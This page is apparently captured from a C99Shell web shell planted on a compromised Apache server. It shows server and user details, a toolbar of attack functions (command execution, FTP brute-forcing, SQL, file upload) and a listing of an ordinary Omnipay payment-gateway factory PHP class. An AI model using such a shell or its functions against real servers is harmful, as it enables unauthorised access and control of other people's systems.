!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/omnipay/common/src/Common/   drwxr-xr-x
Free 13.09 GB of 57.97 GB (22.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GatewayFactory.php (2.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Omnipay Gateway Factory class
 */

namespace Omnipay\Common;

use 
Omnipay\Common\Exception\RuntimeException;
use 
Omnipay\Common\Http\ClientInterface;
use 
Symfony\Component\HttpFoundation\Request as HttpRequest;

/**
 * Omnipay Gateway Factory class
 *
 * This class abstracts a set of gateways that can be independently
 * registered, accessed, and used.
 *
 * Note that static calls to the Omnipay class are routed to this class by
 * the static call router (__callStatic) in Omnipay.
 *
 * Example:
 *
 * <code>
 *   // Create a gateway for the PayPal ExpressGateway
 *   // (routes to GatewayFactory::create)
 *   $gateway = Omnipay::create('ExpressGateway');
 * </code>
 *
 */
class GatewayFactory
{
    
/**
     * Internal storage for all available gateways
     *
     * @var array
     */
    
private $gateways = array();

    
/**
     * All available gateways
     *
     * @return array An array of gateway names
     */
    
public function all()
    {
        return 
$this->gateways;
    }

    
/**
     * Replace the list of available gateways
     *
     * @param array $gateways An array of gateway names
     */
    
public function replace(array $gateways)
    {
        
$this->gateways $gateways;
    }

    
/**
     * Register a new gateway
     *
     * @param string $className Gateway name
     */
    
public function register($className)
    {
        if (!
in_array($className$this->gateways)) {
            
$this->gateways[] = $className;
        }
    }

    
/**
     * Create a new gateway instance
     *
     * @param string               $class       Gateway name
     * @param ClientInterface|null $httpClient  A HTTP Client implementation
     * @param HttpRequest|null     $httpRequest A Symfony HTTP Request implementation
     * @throws RuntimeException                 If no such gateway is found
     * @return GatewayInterface                 An object of class $class is created and returned
     */
    
public function create($classClientInterface $httpClient nullHttpRequest $httpRequest null)
    {
        
$class Helper::getGatewayClassName($class);

        if (!
class_exists($class)) {
            throw new 
RuntimeException("Class '$class' not found");
        }

        return new 
$class($httpClient$httpRequest);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--